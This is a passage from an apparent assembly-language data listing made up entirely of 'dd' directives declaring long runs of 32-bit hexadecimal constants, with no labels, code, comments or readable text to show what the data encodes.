		dd 0B619F946h, 0E81513E0h, 0C4F48D3Bh, 301987CBh, 5777AD63h
		dd 0B1603FE5h, 16CFFDA7h, 0C0A41D0Ch, 0AD23441Dh, 0EFBD6BA1h
		dd 73354B5Bh, 0B30A9B26h, 0E7EC9CB6h, 94BC988Fh, 660FAFBCh
		dd 518299B9h, 5818719h,	965318FCh, 7305BF1h, 6CFB0220h
		dd 0BC0953FAh, 0FEB81551h, 0EADDF45Eh, 0C9B6C2D5h, 179435B1h
		dd 0C7417D82h, 9781BBA1h, 0F30FDD7Eh, 813C0F07h, 0AC8CFBB5h
		dd 9344E38Bh, 0C0FC5037h, 0A18E2E21h, 25343D68h, 118B057Dh
		dd 6EE3400Ch, 83D945F7h, 65796B6Fh, 29823372h, 0EA5EB11Fh
		dd 0A2B89259h, 1E1B0CE5h, 0F25582B4h, 308D6F26h, 4189BE04h
		dd 17E16887h, 0C8589B20h, 4D5F36B6h, 12DE8912h,	258AAFCDh
		dd 58BB3269h, 618DF130h, 1FCCA464h, 293B47F8h, 914E5365h
		dd 2C4EDB88h, 18E59444h, 30ED43BCh, 73666C91h, 0E3C675DCh
		dd 340087A7h, 0B1304DEBh, 2261004Eh, 5786F772h,	0E8F70A7Ch
		dd 8CF1F56Dh, 0D76ADF5Dh, 6FDC287Bh, 0EB04362Ah, 6971D35Dh
		dd 22240932h, 1E0D0EDEh, 5FCB867h, 6C989883h, 419DF080h
		dd 0E0872A9Ch, 0BEEBAC27h, 0EC4255F2h, 0B7222099h, 239F327h
		dd 2D1D8D31h, 744BC79Dh, 3E677D57h, 0E60490BCh,	836A6759h
		dd 8434CFE5h, 6B63B96Ah, 267DE518h, 3BB16101h, 0B02C89Ah
		dd 0A1DE4515h, 482351CFh, 64C8E4DFh, 5B54D5DDh,	10C381E5h
		dd 4DCAFDAEh, 0F08726A1h, 43524A14h, 86422AE3h,	9398535Ch
		dd 49A2B0DAh, 0CCC0CD02h, 176C91D6h, 0EAA1A7DAh, 184F8593h
		dd 7D3EDA5Fh, 10E5D3FDh, 0F3C31E72h, 2DAA7DFFh,	5AD3BD25h
		dd 0F9FEE76Ah, 34389FBEh, 0D8858216h, 0D8A059A5h, 0D0BFDC53h
		dd 6156957Eh, 1D183541h, 0B1F07544h, 33D52011h,	77B37C30h
		dd 560990D2h, 4A7FF517h, 310ACC98h, 2EEB4822h, 7CCD0AD5h
		dd 2D44B0E9h, 5BEA0D3Dh, 8BAB82CFh, 0BB1C1ACFh,	3261A57Fh
		dd 699200D0h, 0C9A9D843h, 2DFAD3E5h, 5F5E8781h,	0FA68D4E8h
		dd 0D5ED2F85h, 0BEE01A88h, 6DA7504Fh, 0F6F88809h, 0DBE53C1Ah
		dd 6019AEBAh, 10BC9A82h, 0F076FABAh, 1DC802C2h,	0BDB7DFC7h
		dd 0E0E5E003h, 50278D23h, 0FA562830h, 81B31377h, 8C4ABA71h
		dd 814F166Fh, 881DD56Fh, 0D98C33B2h, 4A93E5Fh, 2CE72A59h
		dd 0E2BA6AB8h, 0F1D0524Ah, 0A3B8ABD3h, 0F37045EEh, 115695DBh
		dd 8A6CF80Fh, 8A457E3Fh, 524C2172h, 0E889138Dh,	0A492033Bh
		dd 0A6331C3Ah, 0AFF62AC9h, 0D8798C09h, 1E21CA4h, 0F1128FA2h
		dd 954D795Fh, 0C5769635h, 397B84C5h, 9E4001A8h,	6F6F0E62h
		dd 0BA588FEFh, 7C1346F3h, 0C807B243h, 4DA11442h, 0B573C4A3h
		dd 29798F6Fh, 4D825B33h, 0F2B5DC27h, 0E371BA76h, 7E1ABF13h
		dd 1F36B880h, 3245211Dh, 6E14DC82h, 4A06D580h, 0A86F92C3h
		dd 0CC114A83h, 0A05FC660h, 1EF4B26Fh, 3129B80Eh, 0AED1AC38h
		dd 0BE0BE948h, 360F511Ah, 0E7AE0ABAh, 0C6317E47h, 6607F165h
		dd 4B7B0DF2h, 0AD045282h, 44EB7432h, 0EE12A102h, 8AA4646Ch
		dd 0DC755997h, 0E6958AFDh, 0E89C5B49h, 8B14A257h, 0CE9C2905h
		dd 9944B97Eh, 1C4412Ch,	0C3C245A3h, 1AADCC57h, 6B05D20Eh
		dd 70A33A2Dh, 8D041918h, 4E539D1Ah, 5E01E0ABh, 0E90A2D62h
		dd 0AB4793D2h, 452E2185h, 6E61B76Fh, 0CEE3EDCCh, 3314AAC2h
		dd 0FA12D619h, 0A3F47195h, 40D7D272h, 38979F74h, 7649160Dh
		dd 0A98A0F2Ch, 54426A0Bh, 1A58A766h, 0F333DFDCh, 81AF9873h
		dd 40578C2Fh, 4F8C7DC3h, 8EEC3913h, 510B9C2h, 0D82C2B7Ch
		dd 745ABD32h, 1EAF2F34h, 7E60394Ch, 5DB4DA3Eh, 6FEA0557h
		dd 0D33CFA5Eh, 0CA0970FCh, 9645A0B0h, 0B94EF589h, 0D5A58C26h
		dd 57A07CD6h, 0AEBE23E0h, 3913C3ACh, 730241EAh,	3A4A5442h
		dd 0F0BC5EC5h, 9E03FABAh, 842391h, 38EC9698h, 0D94EC934h
		dd 48CDD16Eh, 5717572Eh, 5568BE6Fh, 1DB20174h, 6F11058Eh
		dd 0C38C1A76h, 0FBA56127h, 33B94971h, 8E27D701h, 8347C1F2h
		dd 66C79146h, 0F784760Bh, 3601D8CEh, 40ED4A83h,	0C6A926Fh
		dd 1B02EBAh, 7D8851B4h,	0C69F5E28h, 0BC8BF3B6h,	0DCE0DCE6h
		dd 0A95CCD3Eh, 2204E06Ch, 0C4ED1CE0h, 43BCB9F0h, 858134E2h
		dd 18F47A69h, 165F06FAh, 0E7302296h, 3C504A4Fh,	0AB3DC5D7h
		dd 0F2F9AEFEh, 6FF8B2ABh, 0D8E448ECh, 3DB11878h, 0CC05384h
		dd 72472A91h, 48CB9FD2h, 6A18C9DEh, 67444C51h, 0FC3B533Fh
		dd 0C4882E84h, 3EE6E336h, 4F8F905Ah, 0E56CE3A1h, 0DA0934CEh
		dd 52586E10h, 4220C54Ch, 9B201CA0h, 0AF030F95h,	7F156F4Ah
		dd 19BDBD58h, 0BFDB37B4h, 0A58A2023h, 2564AC6Eh, 0A38BA9F1h
		dd 8B3DF0ADh, 4218B3F9h, 0B8FEB65h, 8F4E160Ah, 1016F239h
		dd 2E44AFC9h, 9BADFACBh, 78C51027h, 0C1AA23ABh,	2034EDABh
		dd 5BFD3FC8h, 0D4B77FBFh, 20CA002Fh, 5F04D503h,	62F2B0DAh
		dd 0C7BA9495h, 0CB3EAA93h, 289A2620h, 65FF30ADh, 7975D8C7h
		dd 13F4A1F4h, 0A4116331h, 9D093939h, 0D5A57116h, 70C605F0h
		dd 0A6143E49h, 56618DAEh, 74472778h, 0E6832962h, 0DAAB6775h
		dd 13859D62h, 0D1DCF59h, 8A0BBD14h, 3B28D897h, 0DCA89FBFh
		dd 3E80C764h, 0CBDEF4D3h, 0D75F9C44h, 0EC016C75h, 0E9791FEFh
		dd 0D0733084h, 0A791C8Ch, 63857D46h, 0DBC9C0E4h, 9209D3A5h
		dd 960EBA66h, 32AD913Fh, 0EF16DE19h, 0AF494A8Ah, 5B654021h
		dd 0B0FE70E4h, 3A07D619h, 0C5A0D5E9h, 7B3D7D2Dh, 70FFDB3Ah
		dd 31B2AD8Dh, 46EEE880h, 8E572E85h, 576DBE02h, 0C0A2829h
		dd 0D389597h, 5BCA59E4h, 0FBFF94D0h, 3DBC97BBh,	5E1C3913h
		dd 0F02FE85Ch, 0B9099653h, 9285338h, 6240F742h,	0E0D0CDD7h
		dd 68C2EE5h, 0E8D735Ch,	1F3063E8h, 0E42E11AAh, 0EA29503h
		dd 6A2C251Eh, 0A6BC93A9h, 419440C8h, 4C9B3F8h, 188AF7CBh
		dd 4D6E9CD4h, 3AEF2CBBh, 7CC91E6Bh, 51AE5D01h, 21798340h
		dd 0F1C203F4h, 7EFB8D04h, 0C9F4823Dh, 330B7170h, 0BD75FED8h
		dd 2F7018B8h, 672AA1C1h, 924CF0E4h, 0B28C8B2Eh,	0DA2C2DA3h
		dd 0BEBFF579h, 0D48063C8h, 0CA464CEEh, 9ABE3600h, 0E97C8ADBh
		dd 81B1C6B4h, 30D806F2h, 78ECF254h, 1183596Fh, 91B91483h
		dd 41469329h, 0FB1CFB6Ch, 89C12D13h, 28DF2A59h,	53616637h
		dd 0E9113BC0h, 3E836A6Fh, 662540DAh, 0C1B73DA7h, 9AD59DD0h
		dd 75699151h, 2CDCB0AEh, 6FC34CF1h, 0EA22A501h,	49033370h
		dd 6484685Ch, 0E0520091h, 0AA9AD99Ah, 44293D8h,	638F7050h
		dd 53CCBD7Bh, 0F1CC5D3Fh, 0E3EEAE74h, 0EFF3BB64h, 20613829h
		dd 0F25DE780h, 8FA5822Ah, 0F5D83F44h, 60135C49h, 8187025Bh
		dd 0E6E59236h, 23D52334h, 0AD0647B6h, 5D33885Fh, 0E785FFFAh
		dd 195D023Ah, 6BF8BA3h
		dd 0C541CAECh, 9A650BEh, 759FDB6h, 44C4D0EBh, 0D604632Fh
		dd 488240ABh, 7287BEA3h, 0B2664BE6h, 0CAD67AD2h, 4093F9DFh
		dd 0FAC5CA1h, 0D65C766Dh, 3DF71F84h, 899A92AEh,	0C87171CAh
		dd 74386376h, 0F21F1AD3h, 5ACD2E4Bh, 5D283B99h,	9BE33DF7h
		dd 425223EFh, 0A38AB71Bh, 7ADA5DF3h, 0B1061BABh, 57FD9632h
		dd 3618AC68h, 0BF44A877h, 0AF5C80A4h, 962B70E4h, 0EA03AF88h
		dd 91554E1Ch, 0EEFAB818h, 0C65B593Fh, 99522D02h, 0DCB7E2F2h
		dd 0DC5A7EE6h, 7F70A944h, 0FD59E340h, 7A501614h, 0CCF1A8CCh
		dd 658F8491h, 0ECFB5323h, 911367A4h, 9C5B0C1Ch,	71D9920Dh
		dd 0EFF8C320h, 0D8A0F7FBh, 30DEFFA9h, 8A70071h,	0B0CDB86Eh
		dd 3B33F63Eh, 0FBAF25C6h, 704E1CC4h, 58081ECh, 0ED23CA6Ah
		dd 8760065h, 90A85A69h,	221CD31Ch, 0DBD2B88Dh, 2E7A2088h
		dd 8AE92E19h, 96812A8Eh, 6B4A90A8h, 0F7C0D08Dh,	0C71A0925h
		dd 0F0826C5Ch, 0BB119AA9h, 0B007DD19h, 98A16357h, 0D36C7E5h
		dd 0AE32BA4Ah, 0DBDDB941h, 868B664Eh, 0AB3F7559h, 0F0121519h
		dd 0BE8DB2A2h, 70C5C68Fh, 0C1F8FE69h, 7B270B31h, 0FC30057h
		dd 9113029Bh, 93AB5D8Eh, 0CB232068h, 0B76D22E9h, 464E4E03h
		dd 701B3732h, 2C9A02ECh, 67652B60h, 69FEBB0Eh, 0D050DB5h
		dd 7FF14600h, 88632B83h, 357AA03Dh, 25382B1Ch, 571E54F7h
		dd 0FEEB3DDBh, 4D369F02h, 62377034h, 9EB8268Ch,	0A31E6117h
		dd 6F730C3Ah, 0BF6C729Eh, 4CD9ECC8h, 9E866B08h,	6C11A771h
		dd 0D37E2863h, 0E68C16B5h, 0D0433A21h, 0BD6AA912h, 0A2DDBFA7h
		dd 0C29A3F6h, 8C502188h, 0E821B9F7h, 0D729AA24h, 0AF2B0903h
		dd 0C414991Ch, 1C41A56Fh, 99314992h, 9DDE1347h,	38DD2C7Ah
		dd 0CD5A6AFEh, 1C941DBBh, 4EB64CBFh, 0DFF193EFh, 7CE4B65Eh
		dd 0D36AEE3Bh, 8FF98354h, 0BDE14CCDh, 0A196279Bh, 3C4EC695h
		dd 300DFEF0h, 0EF070B2Bh, 2937A415h, 300EC2FDh,	564BEECCh
		dd 1BD8939h, 0CC48B4B5h, 3898FCD0h, 41F1999Ch, 9FA6E9DDh
		dd 0A4566C03h, 83D4A277h, 0C7DF03CFh, 0BF80BC4Bh, 11D90FF4h
		dd 87BAAEF5h, 2BC09820h, 0EE54CB6Fh, 2A02DB13h,	0DAB9B7B9h
		dd 338BB304h, 0EAAAAF04h, 0E2CB3C81h, 75CDDAE5h, 39F36C49h
		dd 0ABF165E6h, 79EA17FBh, 904A4295h, 1DBB449h, 4F59EECAh
		dd 0AEDA25D3h, 0F4FF5A7Ah, 0F52AF6F1h, 629E3D9Bh, 0FB4ECFh
		dd 0CCE206C9h, 0EC624D41h, 3E5299ABh, 14DB6539h, 0CDCB8F50h
		dd 62B95BBh, 5CB44587h,	3D881E4Eh, 0C71D8E1Ch, 2FD76A98h
		dd 47C2D203h, 0A500BC2Fh, 0A532663Dh, 0A56B7CFDh, 8537D4D0h
		dd 0CCD910ACh, 3A33CA6h, 0CA300DA9h, 8C6CE85Ch,	7FD7691Ch
		dd 20EC1C71h, 0A3A0D583h, 4DEE4CADh, 4650E900h,	6503DEF8h
		dd 0E89FFC35h, 0FB38A96Ah, 1649DA55h, 1EF12800h, 4BE2E77Fh
		dd 0F70EAF7Bh, 994981CAh, 0E11CF399h, 673FF1CEh, 3FDC51E2h
		dd 0FE68FE55h, 60E4D25Fh, 58DC10CDh, 0A6CFA16Ah, 0E07D52D8h
		dd 0FD168387h, 90DC0155h, 0B95C64EEh, 1E9594ADh, 0A7AD4C1Ah
		dd 0A71DB4C3h, 0BE4D7AA0h, 0A02492A6h, 3CC3662Bh, 383735C2h
		dd 0BD9F9462h, 10F81E05h, 7E72D69Bh, 94375276h,	0D3D66FABh
		dd 67A9BC4Eh, 679211DAh, 0A913255Ch, 27D2C2DCh,	88593895h
		dd 0D6A5A22Fh, 5EAB391Dh, 0FEBDE39h, 0B1F75C8Fh, 57416B28h
		dd 9827C403h, 7D6EE38h,	786D957Ch, 0F69D3561h, 0B7FDC060h
		dd 7B38071h, 0AEFA1E0Ch, 26847744h, 4623FB80h, 3FE42672h
		dd 4B97C126h, 0D2F9D601h, 0ED23A27Dh, 0BC13A7D9h, 0D9EFF884h
		dd 0DBBD2B6Ch, 0E7EF5089h, 4470BA79h, 0CCF347A8h, 0FFB5191Ah
		dd 1FEB71AFh, 0CFC7BAEBh, 5BD6289Eh, 86E8491Eh,	752484ACh
		dd 0F611B4BCh, 0F59AC4E2h, 0CD6C17D0h, 0FF92E08Bh, 3F37E9F6h
		dd 6655EFAAh, 0B109AF61h, 8A19DF8Ch, 86319B1Fh,	0FB715F4Ah
		dd 9B7F13B8h, 59B4569Ah, 4B074BFCh, 4961057Ch, 5119C54Eh
		dd 12E6843Fh, 93C067FCh, 0F4672375h, 0EFF78BBDh, 0AAE2AC28h
		dd 3F02820Ah, 0B3F37BE6h, 874395FBh, 0C2FCD768h, 0C87873C0h
		dd 0EA8B8FBh, 0A731B97Ah, 20620FECh, 0BE853701h, 92FB89D1h
		dd 8B4428A5h, 22D0B22Bh, 3B7CCF36h, 8037C651h, 58974B35h
		dd 0A7960FD8h, 0C574DCA4h, 0E8B6D487h, 51F30116h, 6883D14Ch
		dd 13D6A852h, 0F13804B8h, 8A4C4021h, 0C7CF5E7Fh, 0BE21094Ch
		dd 0EBF1837h, 0F953F23Bh, 179D228h, 0F71FB38Fh,	0CBF6965Bh
		dd 1395B486h, 811DEF2Eh, 0E5DCDA45h, 0F57B6421h, 64AD037Eh
		dd 0AE852D4Ch, 10487E01h, 6450D8D8h, 91FE03E0h,	1203EBC2h
		dd 3573441Fh, 0CEAF225Dh, 45D2D5A8h, 639C535Fh,	240016CAh
		dd 9E83AA62h, 0E40D42F5h, 5DC95E8Dh, 50887C3Fh,	0F42E21D8h
		dd 6470F52Eh, 0EF2D36Dh, 6C634C84h, 149C0CA8h, 8DEBD65Eh
		dd 93C674ABh, 0BEA1E608h, 29066D30h, 5494F92h, 268B5F79h
		dd 7C3067D9h, 1D38AEC5h, 0AD1C7741h, 0B4CA4C20h, 0A93B888Ch
		dd 0B88C6E75h, 0CBA751F1h, 71EEF0DAh, 5D714F8Eh, 0CAD7665Ah
		dd 0EFF0065Ch, 0FAB5A9Bh, 0AD887543h, 0E9C3DEBDh, 6FE52F5Bh
		dd 0C468012Eh, 0B5061ECDh, 0C734EC1Fh, 0F020781h, 0F6CB2A7Ah
		dd 38E37C52h, 618DC067h, 0BACF218Dh, 75AA310Bh,	8B30D84Ah
		dd 75B1F5C8h, 0D7DFBB94h, 0B666AB54h, 0E8A7B32Fh, 37B99D33h
		dd 83B6770Dh, 0DCDB4A46h, 7ECC64Ch, 5464FDA1h, 0E0005D69h
		dd 360AD378h, 3EFD272Bh, 5C1BE8C1h, 0D98297CDh,	0AC8FA6B5h
		dd 4B40CC4h, 2880201Fh,	2C795D87h, 0FE61BA97h, 0AA4B3A37h
		dd 8724AF90h, 0CA1CF733h, 2F6F7242h, 0D31B6ED6h, 0F8EB7A74h
		dd 7312B77Ah, 9B0DFB63h, 0DF58D266h, 0C6122ABCh, 0FD6F4712h
		dd 0D96A5432h, 86A1FD24h, 0B967B2A7h, 33F934CEh, 0B1A37A51h
		dd 5473777Ah, 94884BCh,	9B37EC44h, 387D79CFh, 5A3640E1h
		dd 0F1EF4DDEh, 0A2877F28h, 0DB9E14D2h, 0A66B8EA9h, 146ABC1Ch
		dd 5FA039ECh, 9813643Ah, 0CE0BC921h, 714317CFh,	291EDD34h
		dd 4B4CE1EDh, 6FCB31EFh, 1D5F9C71h, 4500B42Fh, 0BAC5608h
		dd 0B04E7973h, 85FE7774h, 61BAC80Fh, 761E9774h,	4D4EDC5Bh
		dd 340A3F41h, 13EAD924h, 0CCB0A7F0h, 440D8018h,	7765F4B9h
		dd 9103C3A3h, 5998FC54h, 427EDF19h, 12574C42h, 5B29CF4Eh
		dd 4FD4DD82h, 0B64A3064h, 0C8BFAF9Eh, 0E3FDEF50h, 1A995EBCh
		dd 698BD324h, 3F4C4AAFh, 1AFC32B1h, 0BF9B3821h,	6C391D38h
		dd 0BEB93660h, 0D57059AFh, 0EC983562h, 0CB35465Bh, 59A979BBh
		dd 0D394F7C8h, 0B1C3EDA6h, 61543099h, 0A05439EBh, 7AA2CDF1h
		dd 8EA0E22Dh, 0B5995057h, 401A3B3Bh, 0A2F0B190h, 3952BDEh
		dd 0DEBB29C0h, 461F2CCh, 5530BA8Bh, 0DCAABE2Eh,	7EDDF121h
		dd 0AAFB5ED0h, 4E4E5FC5h, 6E9C7634h, 1CB0D3F4h,	1A5BDAADh
		dd 0B9557C5Ah, 17BB357Dh, 4A527B5Bh, 9E974B9h, 0F56F899Bh
		dd 46C17C2Fh, 0D9631C6Fh, 0B1877B71h, 0D63E8963h, 887E50EBh
		dd 99022D60h, 5507386Dh, 99E3E211h, 0B4369FA2h,	208ADB04h
		dd 0B44508CBh, 0BDC81AFCh, 0D6B8214Ah, 0E615E400h, 0CE4BFE10h
		dd 76B7156Fh, 6638A47Ch, 0FAD77D89h, 7CA1874Dh,	3B11F66Dh
		dd 0C591849Bh, 747795A1h, 5CBA2F91h, 9838E0FFh,	0A35B3578h
		dd 22587D2Fh, 0C368BB09h, 3C9A9BD3h, 86DD63B9h,	8C621EA1h
		dd 795CD54Ch, 6627C24h,	0E9B6B409h, 4ADDDD6Ah, 80DFD672h
		dd 88FCC6DBh, 0F15D7249h, 2380BFAEh, 4F16C6A3h,	0A82D90BDh
		dd 176213AAh, 0AC3D87CFh
		dd 0D1109D99h, 2A13E022h, 0E4C30416h, 645ABFBDh, 0DD791420h
		dd 2EF9437Ch, 20A3FFF8h, 0F23F35F9h, 91FE8FB0h,	63C88986h
		dd 98B2B729h, 8A8B3368h, 1D4AF686h, 3A4EE4A5h, 689B1B21h
		dd 7A89E6B2h, 113D25ABh, 0FA980F54h, 7C1FF78Ah,	0AA32ACBh
		dd 0EBCFC7C7h, 0AC88E3B9h, 4AF327B4h, 91346205h, 273D130Dh
		dd 255E626Ah, 4B47D2EEh, 0F517264Ah, 0C6ED0598h, 29158E91h
		dd 65621FD0h, 859FC2BFh, 0D154CAFh, 8F685h, 0B0E7307Fh
		dd 4E863885h, 2471C85Ch, 0CD7E7F1Ch, 0BEFA6B37h, 0D48216CBh
		dd 27960810h, 0E9D82DFDh, 0A448A860h, 3DD267E4h, 3E541C66h
		dd 8C8B7B0Ah, 85881C0Ah, 95065CACh, 0DCE96D9Eh,	0EEBED107h
		dd 0CCB2A74Ah, 9CE34281h, 99DA5F72h, 41569A08h,	896F0A4Ah
		dd 0CE31FBBCh, 0E40DF92h, 0AEBCEB8Ch, 3D61CDD6h, 3DCA693Eh
		dd 1B11DF5Eh, 0FA7D3244h, 0CD81D4BDh, 1728207Ch, 8290AFF1h
		dd 1910EB3h, 0C5E4886Ch, 9908D330h, 36350141h, 6EC9D32Bh
		dd 0E8359138h, 3835C5ADh, 75E93134h, 5D888F8h, 0A99CA056h
		dd 0E9E2FD61h, 0DA311A8h, 84B78722h, 0CAA771C3h, 51F7EB38h
		dd 66D8B43Ch, 485EF1CDh, 2EB00F04h, 34356BA2h, 0B9004C35h
		dd 3390431Ah, 0E6EE433Dh, 0F42A46D0h, 39CB44B3h, 2694AB34h
		dd 0E7E13A93h, 0FA614519h, 0FFE3A79Ch, 0B1B6CF92h, 364EA106h
		dd 0A5425642h, 0B3A8890Ah, 339AFFEFh, 5757B631h, 0D6ED2EF2h
		dd 0A30D6FAEh, 5AB419FFh, 0B2246F97h, 8594848Dh, 80ACB2CDh
		dd 188742Bh, 0DA11AF02h, 5B11ACDEh, 5428DF34h, 0EE3AEC3Bh
		dd 0EBE13E65h, 0DD298422h, 0BA53963h, 0E867B3B8h, 6905E44Bh
		dd 0E769D81h, 162F2400h, 1727857h, 0A1AB45h, 4CCF7238h
		dd 0AD73F5B0h, 80EC9ECFh, 831F53F0h, 0C1E4A373h, 31375019h
		dd 70C81D92h, 9B290219h, 0D23A9E82h, 153BF26Fh,	0F6307C4h
		dd 3CA438B1h, 64F85328h, 1519F00Ch, 0E08A3C54h,	17702BC9h
		dd 9C3000Eh, 0FA358C70h, 0FBE3A610h, 0ACC8B20Eh, 0D351C2h
		dd 0F98033FAh, 14E08552h, 90BCBD54h, 1EAD2DF6h,	8BA14CD6h
		dd 2FD952C6h, 3820BAC4h, 0EE67FE93h, 0E7D7F80Ah, 0E840F9F2h
		dd 0B1DF4B46h, 9E7AD1EAh, 65970AE6h, 0BE643D0Fh, 0F59C355h
		dd 0C974DDF5h, 12BAD228h, 45EAC9F4h, 7C489154h,	5E06D71Ch
		dd 8AACB12Dh, 3968E185h, 2A564F81h, 147413AAh, 0BAFDB05Dh
		dd 68576615h, 35436AC7h, 5404D4C6h, 48C97F49h, 4A7C7E60h
		dd 6DE4F058h, 0AEBBCF68h, 0B5D1609Dh, 0FF18096Ch, 0A146DC6Dh
		dd 0F0F159F1h, 0A029D507h, 6CD8C59Eh, 292F34B7h, 1A5E8124h
		dd 7ABBB28h, 54618CC7h,	622DEC5Fh, 0C8F7BA73h, 831CCA3h
		dd 0A5CC5028h, 0BBBF6D54h, 5F99DDE4h, 16EFA9B8h, 0BBA837A4h
		dd 45165979h, 1BF775AEh, 8EC9559Ch, 919C2894h, 64D6329Eh
		dd 9CA20503h, 930C7370h, 0E78B0D4h, 4A7EA37h, 15435BDBh
		dd 0C5E232A4h, 5C1422AFh, 0FDD475FFh, 2AC60330h, 0F7182A2Ch
		dd 0B3A9856Ah, 0DBAD5AFBh, 0B11737E2h, 17C66D91h, 0DD842DB6h
		dd 7149722Ch, 29172120h, 8B27A737h, 138F23BDh, 0D6566C57h
		dd 45337EC1h, 7AC8EB0Eh, 8044BB09h, 77F53BDDh, 0D720A601h
		dd 7997C1DAh, 21D90AE0h, 94BFB655h, 94A240F3h, 0E9BCB1F9h
		dd 0E1BC4F66h, 2F192AD2h, 51FB893Ch, 0B75D3894h, 0D32CB55Dh
		dd 56894CB2h, 9B8A74C5h, 9C88901Dh, 0DD104512h,	242AB977h
		dd 715EFABBh, 3FBA7F54h, 0F59CD0B4h, 0AF1DD7E2h, 0FE642FCEh
		dd 9D7EB176h, 94DAB05Eh, 0FFC6908Dh, 0ED291AA1h, 18AF60EFh
		dd 844A59FDh, 0CDF7A03Ch, 7EB85171h, 63A4B93Fh,	0FD693C62h
		dd 74B5C641h, 0CC8BD9D8h, 7081F740h, 5046B69Ch,	0C38365D0h
		dd 0DF893F7h, 0D9B9DA9Fh, 7906788Bh, 0B9744E1Ch, 0AAE12577h
		dd 8D9981B6h, 0C6AC18E2h, 1ABE48C5h, 96437EB8h,	77A2A74Fh
		dd 5F6A41Ah, 0B1561CEEh, 0F2775CC7h, 3374E446h,	2124F58Eh
		dd 1D7B9287h, 0B8B5FEFCh, 610BCA91h, 83EE44CAh,	9F426561h
		dd 2690B754h, 2047EBBCh, 0BBC54F05h, 0DA8A0BFCh, 3FB2BDF5h
		dd 0B551D0CBh, 3AC3BF7Dh, 3A8F26A5h, 408FDD4Eh,	44526DCh
		dd 5C1FC3EFh, 0AD9A46A6h, 1AA6A080h, 0F68547C3h, 9930E5E5h
		dd 12FBA717h, 0B1FD7374h, 841F694h, 0C5F18F75h,	0FA6605B0h
		dd 407C6CD6h, 0B64A4944h, 0CCE19138h, 7741047Fh, 206A5556h
		dd 2EA0D80Dh, 0EBE33556h, 4CC2B0DBh, 8F445B5Ah,	54A1F521h
		dd 6BDE1A93h, 88207F47h, 638D33D0h, 0D1366825h,	5943D74Bh
		dd 726E802Ah, 8CA727F6h, 4F6D2578h, 1C5C23A8h, 0A190EBE1h
		dd 44022ABh, 0D38386A5h, 0A877B07Bh, 46D82C1Bh,	28DEED6h
		dd 6C31B4EBh, 0B2D940BAh, 9BED30F6h, 0B12C1DD4h, 0D4998EC6h
		dd 0A9E98206h, 199CBF36h, 0B320535Ch, 4DC732B4h, 2529DC25h
		dd 979B6826h, 0A2AABC9Eh, 0C740BE25h, 568761AEh, 0C37C7F37h
		dd 5C772FAAh, 0DFC4C57Fh, 2868FA50h, 8E19DAEEh,	8103250Ch
		dd 0FDCCC12Eh, 94A2448h, 4ED3A3FCh, 0C81D89E7h,	579BF208h
		dd 0AF2AFB9Ch, 1CCD320h, 0BA2315EBh, 3799DF47h,	303EB9D8h
		dd 0B64C0B81h, 7D9E79F9h, 0E7CB7AADh, 0F8283DFCh, 9BD5B49Eh
		dd 0EC448F50h, 0C1C2C450h, 13D9F4E9h, 28D4B9C9h, 5C1361D9h
		dd 30D25664h, 0F32346B7h, 0B32C3598h, 27B75E7Fh, 8745419Dh
		dd 0E527E31Fh, 505871A6h, 3E628FB5h, 33DB38D1h,	7CC40C6Eh
		dd 9D376ECDh, 11607C6h,	2B609DE5h, 1C36BA31h, 0A4D939C5h
		dd 2691E529h, 0B360A878h, 0F7BC0D99h, 6556D9E8h, 3FB7749Fh
		dd 69847285h, 58BEFE05h, 7B378181h, 388F01Bh, 9F73DA8Dh
		dd 1727113Bh, 0A6354EC3h, 0BE1171BFh, 77F6F56Bh, 77885C9Eh
		dd 1315DAC5h, 875C62ADh, 6351FC8Ch, 0B612B3C2h,	6BADBDEFh
		dd 0AAFD0CC7h, 4DD01DFEh, 5483F259h, 0DC06615Bh, 186C40B7h
		dd 0D9256D85h, 56652803h, 3233B5E6h, 0E49221E2h, 74B5CA5Bh
		dd 0DD1EB52Ch, 0E0447F42h, 92C342DFh, 8BC496A0h, 0B7B83C46h
		dd 0E3DF2DB9h, 318A054Ah, 0D43D3D35h, 3D02FD74h, 0C91BCC1Fh
		dd 0BBD043D7h, 5C6C150Bh, 0E4172BF2h, 842A1857h, 0BB04942h
		dd 0C6421180h, 0B34DE102h, 0D3C8B278h, 220A24C5h, 792B8A7Fh
		dd 6D4B57D0h, 9F63A40Bh, 0F5FC8447h, 0B1FE7E52h, 44AB97BEh
		dd 2260FC4Eh, 0D6F350C8h, 11ADD577h, 1431E03Ch,	43203E0h
		dd 0BE53D008h, 0BB3A93E8h, 7787FF22h, 24E5F96Ah, 9D3B5A09h
		dd 0BB921A17h, 0EC4E8B54h, 88BFA500h, 37932509h, 583D68FFh
		dd 0F9667A1Dh, 895D7B03h, 32EA52D7h, 6F86FEF9h,	0CCC6D040h
		dd 15512943h, 2E6ED7F6h, 59D3CC03h, 522BE52Ah, 5CEC7392h
		dd 0C992F241h, 9881AC36h, 0E7FCDE3Ah, 54E8767Ah, 9461CF0Eh
		dd 0E2348B7Ch, 7BD67D1Dh, 0B7582B96h, 801D0B39h, 4ACD2C21h
		dd 0EA60955h, 0D3274622h, 0FC03BC86h, 3B2E7A7Bh, 4F2FEC7Eh
		dd 0D21F73D4h, 5EF9869Ch, 6DD62F44h, 274D02E2h,	673AF1B2h
		dd 9B44DB06h, 3CC57FDh,	41FE4F83h, 704CAE5Eh, 0FC0EFC88h
		dd 22334099h, 8B340485h, 589D8FFBh, 0BABA5A19h,	929CD1C7h
		dd 16FB236Ch, 2FA7628Dh, 19940085h, 0D019E35Fh,	87AA5B67h
		dd 0D0586292h, 6F15DED6h, 382F458Fh, 0F3443A3h,	5C25714Dh
		dd 5C6C444Eh, 0C53A145Dh, 6F5BC4h, 51B07F08h, 0C7E618AEh
		dd 83756952h, 608497D9h, 1DE9209Fh, 0DAC6C53Ah,	0C7D32868h
		dd 0A591F255h, 0E1A6C700h, 89D7F60Fh, 0C07BF583h, 2D386C32h
		dd 0A57A2731h, 60136030h
		dd 9342CDCFh, 165EAA0Bh, 0EA780ED6h, 0F1ECE6D6h, 0FFF839E8h
		dd 0FD3FF925h, 3DACD07h, 0EE77900h, 72055F43h, 0F6AA1583h
		dd 5D8C544Ah, 11FEBD58h, 20AE39D6h, 8593931Dh, 0ED6F5074h
		dd 6BFD4F86h, 0C3F0831Ch, 0B32DABECh, 0B19F95EDh, 0EC9BDFD1h
		dd 382856CEh, 0F5C48EB1h, 0CFDC0A1Fh, 3D6D5F56h, 734789F1h
		dd 7FA99BB5h, 0C294B836h, 9AE32A8Bh, 0B603FEF4h, 9519279Bh
